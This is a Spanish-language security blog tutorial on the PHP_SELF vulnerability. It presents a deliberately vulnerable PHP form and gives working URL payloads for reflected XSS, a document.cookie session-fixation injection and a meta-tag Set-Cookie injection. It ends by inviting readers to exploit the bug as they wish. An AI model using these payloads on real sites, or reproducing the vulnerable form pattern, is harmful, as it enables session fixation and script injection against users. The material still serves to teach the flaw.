Back to top

Documentación explícita referente a redes, sistemas y seguridad informática.

Categorías


Administración y Seguridad Programación

PHP_SELF vulnerability

Hoy vamos a ver un tipo de vulnerabilidad que da entrada a XSS y a Session Making que se da muchas veces pero que debido a que no ha sido vista en profundidad, suele pasar algo desapercibida. Esto ocurre cuando en PHP hacemos la llamada al propio script. Hasta hace poco, se hacía con la variable $PHP_SELF, pero a día de hoy ya no se utiliza y se hace desde la variable global $_SERVER['PHP_SELF']. Veamos un ejemplo de aplicación vulnerable.

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<title>Ejemplo de aplicación vulnerable por $_SERVER['PHP_SELF']</title>
<body>
<center><h3>¿Descontento con nuestra web? Rellene nuestro formulario!</h3>
<form action="<?=$_SERVER['PHP_SELF']?>" method=POST>
Nombre:<br>
<input type=text name=nombre><br>
Apellidos:<br>
<input type=text name=apellidos><br>
Queja:<br>
<textarea name='body' rows='10' cols='115'></textarea><br></center>
</body>
</html>
<?php
//código que procesa la aplicación
?>


Inyectando nuestro código:


Produciendo un XSS



La llamada al propio nombre del script nos da cabida a inventarnos un documento que produzca un XSS. ¡Pero no vayáis tan rápido! Segúramente ya habréis intentado hacer un www.pagina.com/formulario.php<script>alert(/XSS/);</script>. Te mostrará error ya que intentará buscar un archivo que no existe y no actuará sobre la propia página, por lo que tenemos que colocar una barra "/" para romper la llamada al script e inyectar nuestro código. Lo primero que haremos será ver el código fuente y ver como podemos romper las comillas para que se produzca la inyección. Tenemos lo siguiente:

<form action="/formulario.php" method=POST>


Lo correcto será introducir una barra, unas comillas dobles, un cierre de etiqueta, nuestro XSS, una apertura de etiqueta y un form trash=" (por ejemplo):

<form action="/formulario.php/"><script>alert(/XSS/);</script><form trash="" method=POST>


Quedando así:
www.pagina.com/formulario.php/"><script>alert(/XSS/);</script><form trash="


O también podríamos crear una cookie para un ataque de session fixation de la siguiente manera:

<script>document.cookie="sessionid=1234; domain=.pagina.com”;</script>



Meta-tag injection



Es posible que nos encontremos con una página vulnerable a session fixation y queramos meter una cookie en el navegador de un usuario. Para ello inyectaremos lo siguiente:

<meta http-equiv=Set-Cookie content='sessionid=1234'>


Por supuesto habrá que cerrar correctamente las etiquetas y las comillas. La inyección por url (mejorada) quedaría así:

www.pagina.com/formulario.php/"><meta http-equiv=Set-Cookie content='sessionid=1234; Expires=Tuesday,15-Nov-2012 00:0
0:00 GMT”; domain=.pagina.com'>><form trash="


Si queréis más información sobre session fixation, tenéis un pdf informativo en esta misma web. Esto ha sido todo. Es un texto breve pero conciso, a raíz de aquí queda en vuestras manos el explotar el bug de la manera que queráis. El tema del cierre de comillas simples o dobles y de etiquetas es muy sencillo, no creo que sea necesario explicar mucho más sobre eso ya que creo que con el primer ejemplo ha quedado claro. También puedes investigar tú =).

_________________________________________________________________________________
Todavía no hay comentarios. ¡Anímate y se el primero!

Nombre:

Web:

Comentario:


N3t-Datagrams® is programmed by Sh4v and designed by Pr0x.

Políticas

Aviso legal | Advisories